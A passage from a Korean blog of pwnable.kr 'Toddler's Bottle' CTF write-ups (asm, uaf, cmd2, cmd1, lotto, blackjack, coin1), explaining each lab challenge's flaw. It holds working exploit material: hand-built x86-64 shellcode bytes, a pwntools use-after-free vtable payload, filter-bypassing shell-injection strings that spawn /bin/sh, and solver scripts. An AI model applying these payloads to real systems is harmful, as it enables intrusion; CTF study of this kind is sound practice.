  400131: 6f 

  400132: c7 44 24 08 6f 6f 6f movl   $0x6f6f6f6f,0x8(%rsp)

  400139: 6f 

  40013a: c7 44 24 0c 6f 6f 6f movl   $0x6f6f6f6f,0xc(%rsp)

  400141: 6f 

  400142: c7 44 24 10 6f 6f 6f movl   $0x6f6f6f6f,0x10(%rsp)

  400149: 6f 

  40014a: c7 44 24 14 6f 6f 6f movl   $0x6f6f6f6f,0x14(%rsp)

  400151: 6f 

  400152: c7 44 24 18 6f 6f 6f movl   $0x6f6f6f6f,0x18(%rsp)

  400159: 6f 

  40015a: c7 44 24 1c 6f 6f 6f movl   $0x6f6f6f6f,0x1c(%rsp)

  400161: 6f 

  400162: c7 44 24 20 6f 6f 6f movl   $0x6f6f6f6f,0x20(%rsp)

  400169: 6f 

  40016a: c7 44 24 24 6f 6f 6f movl   $0x6f6f6f6f,0x24(%rsp)

  400171: 6f 

  400172: c7 44 24 28 6f 6f 6f movl   $0x6f6f6f6f,0x28(%rsp)

  400179: 6f 

  40017a: c7 44 24 2c 6f 6f 6f movl   $0x6f6f6f6f,0x2c(%rsp)

  400181: 6f 

  400182: c7 44 24 30 6f 6f 6f movl   $0x6f6f6f6f,0x30(%rsp)

  400189: 6f 

  40018a: c7 44 24 34 6f 6f 6f movl   $0x6f6f6f6f,0x34(%rsp)

  400191: 6f 

  400192: c7 44 24 38 6f 6f 6f movl   $0x6f6f6f6f,0x38(%rsp)

  400199: 6f 

  40019a: c7 44 24 3c 6f 6f 6f movl   $0x6f6f6f6f,0x3c(%rsp)

  4001a1: 6f 

  4001a2: c7 44 24 40 6f 6f 6f movl   $0x6f6f6f6f,0x40(%rsp)

  4001a9: 6f 

  4001aa: c7 44 24 44 6f 6f 6f movl   $0x6f6f6f6f,0x44(%rsp)

  4001b1: 6f 

  4001b2: c7 44 24 48 6f 6f 6f movl   $0x6f6f6f6f,0x48(%rsp)

  4001b9: 6f 

  4001ba: c7 44 24 4c 30 30 30 movl   $0x30303030,0x4c(%rsp)

  4001c1: 30 

  4001c2: 48 83 c4 50          add    $0x50,%rsp

  4001c6: c7 04 24 30 30 30 30 movl   $0x30303030,(%rsp)

  4001cd: c7 44 24 04 30 30 30 movl   $0x30303030,0x4(%rsp)

  4001d4: 30 

  4001d5: c7 44 24 08 30 30 30 movl   $0x30303030,0x8(%rsp)

  4001dc: 30 

  4001dd: c7 44 24 0c 30 30 30 movl   $0x30303030,0xc(%rsp)

  4001e4: 30 

  4001e5: c7 44 24 10 30 30 30 movl   $0x30303030,0x10(%rsp)

  4001ec: 30 

  4001ed: c7 44 24 14 30 6f 6f movl   $0x6f6f6f30,0x14(%rsp)

  4001f4: 6f 

  4001f5: c7 44 24 18 6f 6f 6f movl   $0x6f6f6f6f,0x18(%rsp)

  4001fc: 6f 

  4001fd: c7 44 24 1c 6f 6f 6f movl   $0x6f6f6f6f,0x1c(%rsp)

  400204: 6f 

  400205: c7 44 24 20 6f 6f 6f movl   $0x6f6f6f6f,0x20(%rsp)

  40020c: 6f 

  40020d: c7 44 24 24 6f 6f 6f movl   $0x6f6f6f6f,0x24(%rsp)

  400214: 6f 

  400215: c7 44 24 28 6f 6f 6f movl   $0x6f6f6f6f,0x28(%rsp)

  40021c: 6f 

  40021d: c7 44 24 2c 30 30 30 movl   $0x30303030,0x2c(%rsp)

  400224: 30 

  400225: c7 44 24 30 30 30 30 movl   $0x30303030,0x30(%rsp)

  40022c: 30 

  40022d: c7 44 24 34 30 30 30 movl   $0x30303030,0x34(%rsp)

  400234: 30 

  400235: c7 44 24 38 6f 30 6f movl   $0x306f306f,0x38(%rsp)

  40023c: 30 

  40023d: c7 44 24 3c 6f 30 6f movl   $0x306f306f,0x3c(%rsp)

  400244: 30 

  400245: 48 83 c4 4c          add    $0x4c,%rsp

  400249: b8 6f 6e 67 11        mov    $0x11676e6f,%eax

  40024e: 48 c1 e0 28          shl    $0x28,%rax

  400252: 48 c1 e8 28          shr    $0x28,%rax

  400256: 50                    push   %rax

  400257: 48 83 ec 04          sub    $0x4,%rsp

  40025b: c7 04 24 6f 30 6f 30 movl   $0x306f306f,(%rsp)

  400262: 48 83 ec 4a          sub    $0x4a,%rsp

  400266: 48 83 ec 4a          sub    $0x4a,%rsp

  40026a: 48 83 ec 4c          sub    $0x4c,%rsp

  40026e: b8 02 11 11 11        mov    $0x11111102,%eax

  400273: 48 c1 e0 38          shl    $0x38,%rax

  400277: 48 c1 e8 38          shr    $0x38,%rax

  40027b: 48 89 e7              mov    %rsp,%rdi

  40027e: be 00 00 00 00        mov    $0x0,%esi

  400283: ba e0 00 00 00        mov    $0xe0,%edx

  400288: 0f 05                syscall 

  40028a: 48 89 c7              mov    %rax,%rdi

  40028d: 48 31 c0              xor    %rax,%rax

  400290: 48 81 c4 2c 01 00 00 add    $0x12c,%rsp

  400297: 48 89 e6              mov    %rsp,%rsi

  40029a: ba 46 00 00 00        mov    $0x46,%edx

  40029f: 0f 05                syscall 

  4002a1: b8 01 11 11 11        mov    $0x11111101,%eax

  4002a6: 48 c1 e0 38          shl    $0x38,%rax

  4002aa: 48 c1 e8 38          shr    $0x38,%rax

  4002ae: 48 89 c7              mov    %rax,%rdi

  4002b1: 0f 05                syscall





40027e의 mov esi, 0 과 400283, 40029a 의 mov edx, 0을 바꿔주자. 이는 xor로 간단히 처리가 가능하다.


마지막에 mov edx, 0x46도 어차피 edx가 0으로 초기화되어있기 때문에 add edx, 0x46으로 바꿨다.

그리고 40029a는 실행이 필요없으니 지웠다.


완성된 코드이다.



0000000000400080 <_start>:

  400080: c7 04 24 74 68 69 73 movl   $0x73696874,(%rsp)

  400087: c7 44 24 04 5f 69 73 movl   $0x5f73695f,0x4(%rsp)

  40008e: 5f 

  40008f: c7 44 24 08 70 77 6e movl   $0x616e7770,0x8(%rsp)

  400096: 61 

  400097: c7 44 24 0c 62 6c 65 movl   $0x2e656c62,0xc(%rsp)

  40009e: 2e 

  40009f: c7 44 24 10 6b 72 5f movl   $0x665f726b,0x10(%rsp)

  4000a6: 66 

  4000a7: c7 44 24 14 6c 61 67 movl   $0x5f67616c,0x14(%rsp)

  4000ae: 5f 

  4000af: c7 44 24 18 66 69 6c movl   $0x656c6966,0x18(%rsp)

  4000b6: 65 

  4000b7: c7 44 24 1c 5f 70 6c movl   $0x656c705f,0x1c(%rsp)

  4000be: 65 

  4000bf: c7 44 24 20 61 73 65 movl   $0x5f657361,0x20(%rsp)

  4000c6: 5f 

  4000c7: c7 44 24 24 72 65 61 movl   $0x64616572,0x24(%rsp)

  4000ce: 64 

  4000cf: c7 44 24 28 5f 74 68 movl   $0x6968745f,0x28(%rsp)

  4000d6: 69 

  4000d7: c7 44 24 2c 73 5f 66 movl   $0x69665f73,0x2c(%rsp)

  4000de: 69 

  4000df: c7 44 24 30 6c 65 2e movl   $0x732e656c,0x30(%rsp)

  4000e6: 73 

  4000e7: c7 44 24 34 6f 72 72 movl   $0x7972726f,0x34(%rsp)

  4000ee: 79 

  4000ef: c7 44 24 38 5f 74 68 movl   $0x6568745f,0x38(%rsp)

  4000f6: 65 

  4000f7: c7 44 24 3c 5f 66 69 movl   $0x6c69665f,0x3c(%rsp)

  4000fe: 6c 

  4000ff: c7 44 24 40 65 5f 6e movl   $0x616e5f65,0x40(%rsp)

  400106: 61 

  400107: c7 44 24 44 6d 65 5f movl   $0x695f656d,0x44(%rsp)

  40010e: 69 

  40010f: c7 44 24 48 73 5f 76 movl   $0x65765f73,0x48(%rsp)

  400116: 65 

  400117: c7 44 24 4c 72 79 5f movl   $0x6c5f7972,0x4c(%rsp)

  40011e: 6c 

  40011f: 48 83 c4 50          add    $0x50,%rsp

  400123: c7 04 24 6f 6f 6f 6f movl   $0x6f6f6f6f,(%rsp)

  40012a: c7 44 24 04 6f 6f 6f movl   $0x6f6f6f6f,0x4(%rsp)

  400131: 6f 

  400132: c7 44 24 08 6f 6f 6f movl   $0x6f6f6f6f,0x8(%rsp)

  400139: 6f 

  40013a: c7 44 24 0c 6f 6f 6f movl   $0x6f6f6f6f,0xc(%rsp)

  400141: 6f 

  400142: c7 44 24 10 6f 6f 6f movl   $0x6f6f6f6f,0x10(%rsp)

  400149: 6f 

  40014a: c7 44 24 14 6f 6f 6f movl   $0x6f6f6f6f,0x14(%rsp)

  400151: 6f 

  400152: c7 44 24 18 6f 6f 6f movl   $0x6f6f6f6f,0x18(%rsp)

  400159: 6f 

  40015a: c7 44 24 1c 6f 6f 6f movl   $0x6f6f6f6f,0x1c(%rsp)

  400161: 6f 

  400162: c7 44 24 20 6f 6f 6f movl   $0x6f6f6f6f,0x20(%rsp)

  400169: 6f 

  40016a: c7 44 24 24 6f 6f 6f movl   $0x6f6f6f6f,0x24(%rsp)

  400171: 6f 

  400172: c7 44 24 28 6f 6f 6f movl   $0x6f6f6f6f,0x28(%rsp)

  400179: 6f 

  40017a: c7 44 24 2c 6f 6f 6f movl   $0x6f6f6f6f,0x2c(%rsp)

  400181: 6f 

  400182: c7 44 24 30 6f 6f 6f movl   $0x6f6f6f6f,0x30(%rsp)

  400189: 6f 

  40018a: c7 44 24 34 6f 6f 6f movl   $0x6f6f6f6f,0x34(%rsp)

  400191: 6f 

  400192: c7 44 24 38 6f 6f 6f movl   $0x6f6f6f6f,0x38(%rsp)

  400199: 6f 

  40019a: c7 44 24 3c 6f 6f 6f movl   $0x6f6f6f6f,0x3c(%rsp)

  4001a1: 6f 

  4001a2: c7 44 24 40 6f 6f 6f movl   $0x6f6f6f6f,0x40(%rsp)

  4001a9: 6f 

  4001aa: c7 44 24 44 6f 6f 6f movl   $0x6f6f6f6f,0x44(%rsp)

  4001b1: 6f 

  4001b2: c7 44 24 48 6f 6f 6f movl   $0x6f6f6f6f,0x48(%rsp)

  4001b9: 6f 

  4001ba: c7 44 24 4c 30 30 30 movl   $0x30303030,0x4c(%rsp)

  4001c1: 30 

  4001c2: 48 83 c4 50          add    $0x50,%rsp

  4001c6: c7 04 24 30 30 30 30 movl   $0x30303030,(%rsp)

  4001cd: c7 44 24 04 30 30 30 movl   $0x30303030,0x4(%rsp)

  4001d4: 30 

  4001d5: c7 44 24 08 30 30 30 movl   $0x30303030,0x8(%rsp)

  4001dc: 30 

  4001dd: c7 44 24 0c 30 30 30 movl   $0x30303030,0xc(%rsp)

  4001e4: 30 

  4001e5: c7 44 24 10 30 30 30 movl   $0x30303030,0x10(%rsp)

  4001ec: 30 

  4001ed: c7 44 24 14 30 6f 6f movl   $0x6f6f6f30,0x14(%rsp)

  4001f4: 6f 

  4001f5: c7 44 24 18 6f 6f 6f movl   $0x6f6f6f6f,0x18(%rsp)

  4001fc: 6f 

  4001fd: c7 44 24 1c 6f 6f 6f movl   $0x6f6f6f6f,0x1c(%rsp)

  400204: 6f 

  400205: c7 44 24 20 6f 6f 6f movl   $0x6f6f6f6f,0x20(%rsp)

  40020c: 6f 

  40020d: c7 44 24 24 6f 6f 6f movl   $0x6f6f6f6f,0x24(%rsp)

  400214: 6f 

  400215: c7 44 24 28 6f 6f 6f movl   $0x6f6f6f6f,0x28(%rsp)

  40021c: 6f 

  40021d: c7 44 24 2c 30 30 30 movl   $0x30303030,0x2c(%rsp)

  400224: 30 

  400225: c7 44 24 30 30 30 30 movl   $0x30303030,0x30(%rsp)

  40022c: 30 

  40022d: c7 44 24 34 30 30 30 movl   $0x30303030,0x34(%rsp)

  400234: 30 

  400235: c7 44 24 38 6f 30 6f movl   $0x306f306f,0x38(%rsp)

  40023c: 30 

  40023d: c7 44 24 3c 6f 30 6f movl   $0x306f306f,0x3c(%rsp)

  400244: 30 

  400245: 48 83 c4 4c          add    $0x4c,%rsp

  400249: b8 6f 6e 67 11        mov    $0x11676e6f,%eax

  40024e: 48 c1 e0 28          shl    $0x28,%rax

  400252: 48 c1 e8 28          shr    $0x28,%rax

  400256: 50                    push   %rax

  400257: 48 83 ec 04          sub    $0x4,%rsp

  40025b: c7 04 24 6f 30 6f 30 movl   $0x306f306f,(%rsp)

  400262: 48 83 ec 4a          sub    $0x4a,%rsp

  400266: 48 83 ec 4a          sub    $0x4a,%rsp

  40026a: 48 83 ec 4c          sub    $0x4c,%rsp

  40026e: b8 02 11 11 11        mov    $0x11111102,%eax

  400273: 48 c1 e0 38          shl    $0x38,%rax

  400277: 48 c1 e8 38          shr    $0x38,%rax

  40027b: 48 89 e7              mov    %rsp,%rdi

  40027e: 48 31 f6              xor    %rsi,%rsi

  400281: 48 83 c2 46          add    $0x46,%rdx

  400285: 0f 05                syscall 

  400287: 48 89 c7              mov    %rax,%rdi

  40028a: 48 31 c0              xor    %rax,%rax

  40028d: 48 89 e6              mov    %rsp,%rsi

  400290: 0f 05                syscall 

  400292: b8 01 11 11 11        mov    $0x11111101,%eax

  400297: 48 c1 e0 38          shl    $0x38,%rax

  40029b: 48 c1 e8 38          shr    $0x38,%rax

  40029f: 48 89 c7              mov    %rax,%rdi

  4002a2: 0f 05                syscall




이제 이 코드들을 hex로 옮기면 된다.


이건 그냥 수작업으로 했다.


\xc7\x04\x24\x74\x68\x69\x73\xc7\x44\x24\x04\x5f\x69\x73\x5f\xc7\x44\x24\x08\x70\x77\x6e\x61\xc7\x44\x24\x0c\x62\x6c\x65\x2e\xc7\x44\x24\x10\x6b\x72\x5f\x66\xc7\x44\x24\x14\x6c\x61\x67\x5f\xc7\x44\x24\x18\x66\x69\x6c\x65\xc7\x44\x24\x1c\x5f\x70\x6c\x65\xc7\x44\x24\x20\x61\x73\x65\x5f\xc7\x44\x24\x24\x72\x65\x61\x64\xc7\x44\x24\x28\x5f\x74\x68\x69\xc7\x44\x24\x2c\x73\x5f\x66\x69\xc7\x44\x24\x30\x6c\x65\x2e\x73\xc7\x44\x24\x34\x6f\x72\x72\x79\xc7\x44\x24\x38\x5f\x74\x68\x65\xc7\x44\x24\x3c\x5f\x66\x69\x6c\xc7\x44\x24\x40\x65\x5f\x6e\x61\xc7\x44\x24\x44\x6d\x65\x5f\x69\xc7\x44\x24\x48\x73\x5f\x76\x65\xc7\x44\x24\x4c\x72\x79\x5f\x6c\x48\x83\xc4\x50\xc7\x04\x24\x6f\x6f\x6f\x6f\xc7\x44\x24\x04\x6f\x6f\x6f\x6f\xc7\x44\x24\x08\x6f\x6f\x6f\x6f\xc7\x44\x24\x0c\x6f\x6f\x6f\x6f\xc7\x44\x24\x10\x6f\x6f\x6f\x6f\xc7\x44\x24\x14\x6f\x6f\x6f\x6f\xc7\x44\x24\x18\x6f\x6f\x6f\x6f\xc7\x44\x24\x1c\x6f\x6f\x6f\x6f\xc7\x44\x24\x20\x6f\x6f\x6f\x6f\xc7\x44\x24\x24\x6f\x6f\x6f\x6f\xc7\x44\x24\x28\x6f\x6f\x6f\x6f\xc7\x44\x24\x2c\x6f\x6f\x6f\x6f\xc7\x44\x24\x30\x6f\x6f\x6f\x6f\xc7\x44\x24\x34\x6f\x6f\x6f\x6f\xc7\x44\x24\x38\x6f\x6f\x6f\x6f\xc7\x44\x24\x3c\x6f\x6f\x6f\x6f\xc7\x44\x24\x40\x6f\x6f\x6f\x6f\xc7\x44\x24\x44\x6f\x6f\x6f\x6f\xc7\x44\x24\x48\x6f\x6f\x6f\x6f\xc7\x44\x24\x4c\x30\x30\x30\x30\x48\x83\xc4\x50\xc7\x04\x24\x30\x30\x30\x30\xc7\x44\x24\x04\x30\x30\x30\x30\xc7\x44\x24\x08\x30\x30\x30\x30\xc7\x44\x24\x0c\x30\x30\x30\x30\xc7\x44\x24\x10\x30\x30\x30\x30\xc7\x44\x24\x14\x30\x6f\x6f\x6f\xc7\x44\x24\x18\x6f\x6f\x6f\x6f\xc7\x44\x24\x1c\x6f\x6f\x6f\x6f\xc7\x44\x24\x20\x6f\x6f\x6f\x6f\xc7\x44\x24\x24\x6f\x6f\x6f\x6f\xc7\x44\x24\x28\x6f\x6f\x6f\x6f\xc7\x44\x24\x2c\x30\x30\x30\x30\xc7\x44\x24\x30\x30\x30\x30\x30\xc7\x44\x24\x34\x30\x30\x30\x30\xc7\x44\x24\x38\x6f\x30\x6f\x30\xc7\x44\x24\x3c\x6f\x30\x6f\x30\x48\x83\xc4\x4c\xb8\x6f\x6e\x67\x11\x48\xc1\xe0\x28\x48\xc1\xe8\x28\x50\x48\x83\xec\x04\xc7\x04\x24\x6f\x30\x6f\x30\x48\x83\xec\x4a\x48\x83\xec\x4a\x48\x83\xec\x4c\xb8\x02\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x48\x89\xe7\x48\x31\xf6\x48\x83\xc2\x46\x0f\x05\x48\x89\xc7\x48\x31\xc0\x48\x89\xe6\x0f\x05\xb8\x01\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x48\x89\xc7\x0f\x05



무지하게 길다. 이제 제대로 되는지 확인해보자.



정신이 하나도 없지만 flag를 출력한 것을 볼수 있다.

'pwnable > Toddler's Bottle' 카테고리의 다른 글

[Toddler's Bottle] horcruxes  (0) 2018.09.12
[Toddler's Bottle] blukat  (0) 2018.09.12
[Toddler's Bottle] uaf  (0) 2018.05.31
[Toddle's Bottle] cmd2  (0) 2018.05.31
[Toddler's Bottle] cmd1  (0) 2018.05.29
블로그 이미지

천재보다는 범재

,

uaf... Use After Free 취약점이다.


이 취약점은 malloc()이나 new로 할당받은 메모리를 해제한 후, 나중에 같은 크기만큼 할당받을 때, 같은 주소를 할당받아, 내용을 바꿀 수 있는 취약점이다.



#include <fcntl.h>

#include <iostream> 

#include <cstring>

#include <cstdlib>

#include <unistd.h>

using namespace std;


class Human{

private:

virtual void give_shell(){

system("/bin/sh");

}

protected:

int age;

string name;

public:

virtual void introduce(){

cout << "My name is " << name << endl;

cout << "I am " << age << " years old" << endl;

}

};


class Man: public Human{

public:

Man(string name, int age){

this->name = name;

this->age = age;

        }

        virtual void introduce(){

Human::introduce();

                cout << "I am a nice guy!" << endl;

        }

};


class Woman: public Human{

public:

        Woman(string name, int age){

                this->name = name;

                this->age = age;

        }

        virtual void introduce(){

                Human::introduce();

                cout << "I am a cute girl!" << endl;

        }

};


int main(int argc, char* argv[]){

Human* m = new Man("Jack", 25);

Human* w = new Woman("Jill", 21);

size_t len;

char* data;

unsigned int op;

while(1){

cout << "1. use\n2. after\n3. free\n";

cin >> op;


switch(op){

case 1:

m->introduce();

w->introduce();

break;

case 2:

len = atoi(argv[1]);

data = new char[len];

read(open(argv[2], O_RDONLY), data, len);

cout << "your data is allocated" << endl;

break;

case 3:

delete m;

delete w;

break;

default:

break;

}

}


return 0;

}



해당 코드를 보면 Human이라는 Class를 new로 할당받는다.

Human* m = new Man("Jack", 25);

Human* w = new Woman("Jill", 21);



그 후 입력을 받아 switch를 돌린다.


case 1:

m의 introduce()를 실행하고

w의 introduce()를 실행한다.


case 2:

argv[1]만큼 new로 할당받고, argv[2]의 파일을 열어 data에 len만큼 복사해 넣는다.


case 3:

m과 w를 해제한다.



우선 gdb에서 메모리를 보자.



heap으로 heap을 보니 vtable for Man+16이 보인다.


vtable은 cpp에서 virtual로 함수를 선언할때 생긴다. (자세한건 구글)


이 주소를 참조해 보자



주소들이 나오는데 




각각 give_shell 함수와 introduce함수인 것을 볼 수 있다.


즉 vtable for Man+16값이 fd에 들어있을 때 introduce가 실행되는 것 같다.


이 값에서 8을 뺴서(64bit파일이므로) 넣어주면 give_shell()함수가 실행될 것이다.


size가 0x21이므로 


argv[1] = 33, argv[2] = ./abcd로 하고 실행해 보았다.



from pwn import *


f = open('./abcd', 'w')


f.write(p64(0x0000000000401568))


f.write(p64(0x0000000000000021))


f.write(p64(0x0000000001ad3c38))


f.write(p64(0x0000000000000019))



f.close()



python을 사용해서 파일을 만들고 실행 했다.



보니 원래 들어가야 할 0x21이 아니라 0x31 에 들어간다. 0x21은 분명히 33인데... 그래서 size를 바꿔가면서 실행해보았다.



그리고 23에서 쉘이 뚫렸다.



이제 해당 코드를 pwnable서버로 옮겼다.



CLEAR

'pwnable > Toddler's Bottle' 카테고리의 다른 글

[Toddler's Bottle] blukat  (0) 2018.09.12
[Toddler's Bottle] asm  (0) 2018.09.12
[Toddle's Bottle] cmd2  (0) 2018.05.31
[Toddler's Bottle] cmd1  (0) 2018.05.29
[Toddler's Bottle] lotto  (0) 2018.05.29
블로그 이미지

천재보다는 범재

,



cmd1보다 filter이 더 까다로워졌다. 

또, delete_env()를 사용해 환경변수도 막는다.


cmd1처럼 $[환경변수] 를 사용해서 풀 수는 없을 것이다.



또, PATH를 날려버리니 cat 도 쓸 수 없다. 아니, /bin 에 있는 프로그램, /usr/bin 에 있는 프로그램이 전부 사용 불가하다.


내가 아는 출력 명령어가 cat과 echo밖에 없어서 echo를 좀 더 알아봤는데 echo는 파일을 출력할 수는 없는 것 같았다. 


대신, [ https://www.thinkit.or.kr/linux/entry/echo-%EB%82%B4%EB%B6%80%EB%AA%85%EB%A0%B9%EC%96%B4 ]이 사이트에서 


이 표를 볼 수 있었다.


이 중에 내 눈을 끈 것은 14번인데, \nnn을 통해 ASCII코드를 8진수로 넣어줄 수 있었다.


혹시나 이를 사용해서 넣어주면 filter에 걸리지 않지 않을까 싶어서 /를 echo로 출력해 보았다.


cmd1에서 사용했던 대로

$(변수) 를 사용했는데


이 경우에는


$(echo "\57") 이다. (/는 ASCII코드 OCT로 57이다)


따라서 페이로드는 $(echo "\57")bin$(echo "\57")sh

였다.



쉘이 따졌는데 PATH가 없어서 그런지 명령어들이 잘 실행되지 않아서 절대경로로 넣어주니 제대로 실행 되는걸 확인했다.

'pwnable > Toddler's Bottle' 카테고리의 다른 글

[Toddler's Bottle] asm  (0) 2018.09.12
[Toddler's Bottle] uaf  (0) 2018.05.31
[Toddler's Bottle] cmd1  (0) 2018.05.29
[Toddler's Bottle] lotto  (0) 2018.05.29
[Toddler's Bottle] blackjack  (0) 2018.05.29
블로그 이미지

천재보다는 범재

,


이번 코드는 system( argv[1] ); 을 사용해 인자를 실행시켜 주지만, filter함수에서 flag, sh, tmp 가 포함된 경우엔 return 0; 을 실행해 프로그램이 종료되도록 되어있다.


나는 $[환경변수]를 사용하면 해당 환경변수의 내용이 출력된다고 알고있었다.

그래서 환경변수를 만들고,


해당 변수에 /bin/cat flag 를 넣는다.



./cmd1 '$[환경변수명]'을 사용해서 풀었다.



'pwnable > Toddler's Bottle' 카테고리의 다른 글

[Toddler's Bottle] uaf  (0) 2018.05.31
[Toddle's Bottle] cmd2  (0) 2018.05.31
[Toddler's Bottle] lotto  (0) 2018.05.29
[Toddler's Bottle] blackjack  (0) 2018.05.29
[Toddle's Bottle] coin1  (0) 2018.05.29
블로그 이미지

천재보다는 범재

,

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <fcntl.h>


unsigned char submit[6];


void play(){

int i;

printf("Submit your 6 lotto bytes : ");

fflush(stdout);


int r;

r = read(0, submit, 6);


printf("Lotto Start!\n");

//sleep(1);


// generate lotto numbers

int fd = open("/dev/urandom", O_RDONLY);

if(fd==-1){

printf("error. tell admin\n");

exit(-1);

}

unsigned char lotto[6];

if(read(fd, lotto, 6) != 6){

printf("error2. tell admin\n");

exit(-1);

}

for(i=0; i<6; i++){

lotto[i] = (lotto[i] % 45) + 1; // 1 ~ 45

}

close(fd);

// calculate lotto score

int match = 0, j = 0;

for(i=0; i<6; i++){

for(j=0; j<6; j++){

if(lotto[i] == submit[j]){

match++;

}

}

}


// win!

if(match == 6){

system("/bin/cat flag");

}

else{

printf("bad luck...\n");

}


}


void help(){

printf("- nLotto Rule -\n");

printf("nlotto is consisted with 6 random natural numbers less than 46\n");

printf("your goal is to match lotto numbers as many as you can\n");

printf("if you win lottery for *1st place*, you will get reward\n");

printf("for more details, follow the link below\n");

printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n");

printf("mathematical chance to win this game is known to be 1/8145060.\n");

}


int main(int argc, char* argv[]){


// menu

unsigned int menu;


while(1){


printf("- Select Menu -\n");

printf("1. Play Lotto\n");

printf("2. Help\n");

printf("3. Exit\n");


scanf("%d", &menu);


switch(menu){

case 1:

play();

break;

case 2:

help();

break;

case 3:

printf("bye\n");

return 0;

default:

printf("invalid menu\n");

break;

}

}

return 0;

}




이번은 그냥 gdb로 무식하게 열어보았다.




cmp하는 곳에 BP를 걸고 무작정 돌려봣는데, 아무리 돌려도 한 값은 바뀌지 않았다.

즉, 한 숫자를 맞추면 6개 다 맞추는게 된다는 것이었다.


그래서 그냥 0x12로 하고 여러번 실행해 보았다.



from pwn import *


r = process('./lotto')


context.log_level='debug'

r.recv(1024)

r.sendline('1')

r.send('\x12\x12\x12\x12\x12\x12')


r.interactive()



그냥 단순하게 \x12를 연속으로 6개 전송하는 py코드를 짜고,

실행 하였다.


물론 실행 파일, flag는 tmp에 심볼릭 링크를 만들어서 실행했다.




Flag를 땄다.

'pwnable > Toddler's Bottle' 카테고리의 다른 글

[Toddle's Bottle] cmd2  (0) 2018.05.31
[Toddler's Bottle] cmd1  (0) 2018.05.29
[Toddler's Bottle] blackjack  (0) 2018.05.29
[Toddle's Bottle] coin1  (0) 2018.05.29
[Toddler's Bottle] shellshock  (0) 2018.05.28
블로그 이미지

천재보다는 범재

,

http://cboard.cprogramming.com/c-programming/114023-simple-blackjack-program.html


이번엔 코드를 따로 주었다.


사실 한참 읽어봐야 하지만, 딱 눈에 띄는 부분이 있다.


보통 조건이 만족될때까지 while로 계속 돌릴텐데, 이 경우에는 bet한 금액이 cash보다 크다고 해도, 입력을 한번만 받고 만다.

즉 한번 일부러 큰 수를 넣고 그 다음에 다시 더 큰 수를 넣으면 그대로 들어간다는 뜻이다.


I like to give my flags to millionares.

how much money you got?


라고 하니, 많은 금액을 따보자.

BET를 크게 넣고,  단 한번만 이겨서 인생 역전...!?


bet로는 999999999 정도를 넣었다.



여러번 도산하면서 딱 한번 이겨서 Flag를 땄다.

'pwnable > Toddler's Bottle' 카테고리의 다른 글

[Toddler's Bottle] cmd1  (0) 2018.05.29
[Toddler's Bottle] lotto  (0) 2018.05.29
[Toddle's Bottle] coin1  (0) 2018.05.29
[Toddler's Bottle] shellshock  (0) 2018.05.28
[Toddler's Bottle] mistake  (0) 2018.05.28
블로그 이미지

천재보다는 범재

,

coin1은 코드가 없다.


Mommy, I wanna play a game!

(if your network response time is too slow, try nc 0 9007 inside pwnable.kr server)


Running at : nc pwnable.kr 9007



라는 문자열만 주어져 있다.


연결하면


위조 동전을 찾아라. 라고 한다. 진짜 동전은 무게가 10이고, 위조동전은 9이다. 따라서 그리고 위조동전을 100개 찾으면 상을 준다고 한다. Flag이겠지..


나는

10 단위로 잘라 bruteforce를 해, 뒷자리가 9일 때 멈춘 후, 직접 찍어 맞추려고 했는데, 생각보다 찾을 확률이 너무 저조했다. 이 확률로 100번을 뚫을 수 있으면 그날에 로또를 사도 될 거라 생각할 정도였다.



from pwn import *

from operator import eq


context.log_level='debug'



flag=0


search='9'

search2 = "Correct! (0)"


r = remote("pwnable.kr", 9007)

print(r.recv(2048))

sleep(3.3)

r.recv(100)


i=20d

while 1:

payload=""

sleep(0.5)

for j in range(10):

payload += " " + str(i+j)

r.sendline(payload)

i+=10

weight = r.recv(10)

if search in weight :

i-=10

print i

break



r.interactive()




그래서 다른방법을 고민하다가 결국 다른 사람의 것을 참고했다.


위 스샷의 경우 N은 479이다. 479는 2^8과 2^9 의 사이이다. 즉 2로 나눠가면서 어느

쪽에 있는지만 찾아내면 된다.


밑의 코드는 (http://chaneyoon.tistory.com/192) 에 있다.


from pwn import *

import time

import sys


host = '0'

port = 9007


r = remote(host, port)

time.sleep(3)           # wait for 3 sec.


print r.recv()


cnt = 0

for i in range(100):

    r.recvuntil('N=')

    n = int( r.recvuntil(' ') )

    r.recvuntil('C=')

    c = int( r.recv() )

    

    st = 1

    des = n

    t = 0

    while(1):

        

        message = ''

        

        if(st > des):

            break

        

        message = ''

        for i in range(st, (st + des) // 2 + 1):

            message += '{0} '.format(i) 

        

        print "[-] guess : {0}".format(message)

        x = r.sendline(message)

        result = r.recv()

        

        print "[*] result : {0}".format(result)


        if result.find('Correct') > -1:

            t = 1

            break

        elif result[0] == 'N':

            des = n

        elif result.find('error') > -1:

            break

        elif result.find('time') > -1:

            print "\n\n[x] time expired.."

            sys.exit(1)

        elif int(result) % 10 != 0:

            des = (st + des)//2

        else:

            st = (st+des)//2 + 1

    if(t == 0):

        r.sendline(str(st))

        correctmsg = r.recv()

    cnt += 1

    print "[+] count : {0}\n".format(cnt)


flag = r.recv()

print "\n\n[*] FLAG : {0}".format(flag)




python코드가 너무 고급져서 해석하기 힘들다.


하지만 잘 보면, N=[] 부분에서 숫자를 받아와서, 그것을 message에 넣고, send로 보낸다.

그 후, recv를 통해 값을 받아오는데, 이것이 Correct, error, time 을 읿력받으면 break한다. 그렇지 않다면 2를 나눠가면서 계속 좁혀나간다.


한번 성공할때마다 cnt++를 하며 총 100번 되면 r.recv()를 통해서 FLAG를 받아온다.





내가 직접 코드를 짤 수 있게 될때까지 코드를 좀 더 분석해 봐야겠다.

'pwnable > Toddler's Bottle' 카테고리의 다른 글

[Toddler's Bottle] lotto  (0) 2018.05.29
[Toddler's Bottle] blackjack  (0) 2018.05.29
[Toddler's Bottle] shellshock  (0) 2018.05.28
[Toddler's Bottle] mistake  (0) 2018.05.28
[Toddler's Bottle] leg  (0) 2018.05.28
블로그 이미지

천재보다는 범재

,